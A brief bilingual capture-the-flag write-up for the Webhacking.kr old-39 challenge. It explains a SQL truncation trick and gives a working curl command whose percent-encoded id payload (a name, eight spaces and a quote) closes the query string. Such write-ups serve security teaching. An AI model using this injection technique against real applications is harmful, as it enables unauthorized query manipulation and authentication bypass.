Webhacking.kr old-39

Challenge

Use the fixed-length substring boundary to recover the intended SQL string.

利用固定长度截断恢复预期 SQL 字符串。

1
https://webhacking.kr/challenge/bonus-10/

Analysis

id 会进入 SQL 查询,并在服务端按固定长度截断。输入 DesKel 后追加八个空格和单引号时,补在服务端查询末尾的引号落到截断范围之外。这样保留下来的字符串可以闭合前面的 SQL 字符串,查询按题目预期进入成功分支。

Solution

为避免 Markdown 和 shell 丢失尾部空格,使用 percent-encoding 表示完整 payload:

1
2
3
curl -sS \
--data 'id=DesKel%20%20%20%20%20%20%20%20%27' \
'https://webhacking.kr/challenge/bonus-10/'

解码后的 id 是 DesKel、八个空格和一个单引号。服务端按预期解析该固定长度的 id。